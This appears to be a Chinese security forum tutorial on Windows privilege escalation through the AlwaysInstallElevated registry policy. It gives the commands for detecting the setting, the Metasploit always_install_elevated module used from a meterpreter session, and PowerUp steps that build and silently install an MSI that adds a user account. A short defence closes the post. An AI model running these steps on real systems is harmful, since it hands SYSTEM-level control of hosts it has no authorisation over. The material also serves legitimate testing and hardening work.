Windows提权:使用Install Elevated

文章前言

注册表键AlwaysInstallElevated是一个策略设置项,Windows允许低权限用户以System权限运行安装文件。如果启用了这个策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。从安全的角度来看,攻击者可能会滥用这一点,以便将其权限升级到系统级别。

环境配置

首先,在”运行”设置框中输入”gpedit.msc”进入组策略编辑器,之后进行编辑,修改以下内容:

  1. 组策略—>计算机配置—>管理模板—>Windows组件—>Window Installer —>永远以高权限进行安装:
图片[1]-Windows提权:使用Install Elevated-山海云端论坛
  1. 组策略—>用户配置—>管理模板—>Windows组件—>WIndows Installer—>永远以高权限进行安装—>启用:
图片[2]-Windows提权:使用Install Elevated-山海云端论坛

设置完毕之后会在注册表的以下两个位置自动创建键值”1″:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

图片[3]-Windows提权:使用Install Elevated-山海云端论坛

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

图片[4]-Windows提权:使用Install Elevated-山海云端论坛

简单测试

我们假设我们已经获取到了一台主机的权限,并且有一个meterpreter会话。

图片[5]-Windows提权:使用Install Elevated-山海云端论坛

确定主机上是否存在此问题的最简单方法是查询以下注册表项:

<code>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</code>
图片[6]-Windows提权:使用Install Elevated-山海云端论坛

Metasploit

提升权限的最简单和最快的方法是通过Metasploit框架。该框架包含一个模块,可以生成一个带有简单有效负载的MSI包,该包将作为系统在目标主机上执行,并且它将被自动删除。

<code>use exploit/windows/local/always_install_elevated set session 1</code>
图片[7]-Windows提权:使用Install Elevated-山海云端论坛

PowerUp

使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检测注册表键值是否被设置。如果AlwaysInstallElevated注册表键值被设置,则意味着MSI文件是以System权限运行的。

<code>Import-Module .\PowerUp.ps1 Get-RegistryAlwaysInstallElevated</code>
图片[8]-Windows提权:使用Install Elevated-山海云端论坛

接下来,使用PowerUp来添加账户,运行Write-UserAddMSI模块生成MSI文件:

<code>Write-UserAddMSI</code>
图片[9]-Windows提权:使用Install Elevated-山海云端论坛

之后以普通用户权限运行UserAdd.msi:

图片[10]-Windows提权:使用Install Elevated-山海云端论坛
<code>msiexec /quiet /i UserAdd.msi</code>

防御措施

禁用注册表键值AlwaysInstallElevated即可。

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容